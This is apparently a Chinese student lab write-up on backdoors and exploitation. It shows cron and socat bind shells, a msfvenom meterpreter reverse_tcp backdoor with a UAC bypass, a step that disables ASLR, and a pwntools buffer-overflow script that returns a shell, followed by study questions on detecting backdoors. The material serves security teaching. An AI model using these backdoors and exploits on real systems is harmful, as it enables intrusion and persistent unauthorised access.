使用 crontab 设置每小时 39 分钟定定时运行指令在端口 5219 开启 /bin/sh 。这样我们监听这个端口就可以拿 shell 。

在定时计划中设置当用户锁定工作站时触发操作运行程序 socat ,同时设定好参数,这样我们链接参数设置的对应端口时就能拿 shell 。



通过 msf 工具和在 windows 上运行后门程序拿 shell




原来的洞没法对 win10 提权,生成一个新的后门,注意用 -a 指定架构。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.129 LPORT=5219 -a x64 -f exe > backdoor1.exe
跟靶机取得连接的步骤和之前一样,然后使用 background 查询 session 值,同时使用漏洞绕过用户账户控制。

可以看到我们已经成功拿shell。

为了降低难度,我们可以先把 ASLR 关闭。在 root 权限下运行命令
echo 0 > /proc/sys/kernel/randomize_va_space
0 值代表不随机化,我们可以通过命令
sysctl -a --pattern randomize
查看 kernel.randomize_va_space 的值是否成功修改为 0 。
修改成功的情况下,多次 ldd 的地址应该是一样的。

这说明我们已经成功关闭 ASLR ,这样的话栈的地址是固定的,我们可以通过动态调试得悉 shellcode 在栈中的存储地址,接下来只要覆盖返回地址为 shellcode 的起始地址即可成功 getshell。
使用命令在 5219 端口开启 pwn1 服务。
nc -lvvp 5219 -e pwn1
同时我们编写 exp 脚本拿 shell。
from pwn import *
io = remote(‘192.168.1.41‘,5219)
context.binary = ‘pwn1‘
addr = 0xFFFFCF7C #我们输入的起始地址
shellcode = asm(shellcraft.sh()) #生成对应架构的 shellcode
payload = ‘a‘ * 32 + p32(0xFFFFCF7C+32+4) + shellcode #覆盖返回地址为 shellcode 的地址
io.sendline(payload)
io.interactive()

可以看到我们已经成功 getshell
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过引诱受害者下载恶意文件,通过操作系统漏洞或者服务漏洞提权并留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:通过伪装成 hook 函数在程序启动是调用。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以建立持久性后门。
(4)如何发现自己有系统有没有被安装后门
答:可以从注册表、自启动项、以及开启的端口等分析。
原文:https://www.cnblogs.com/luoleqi/p/12459369.html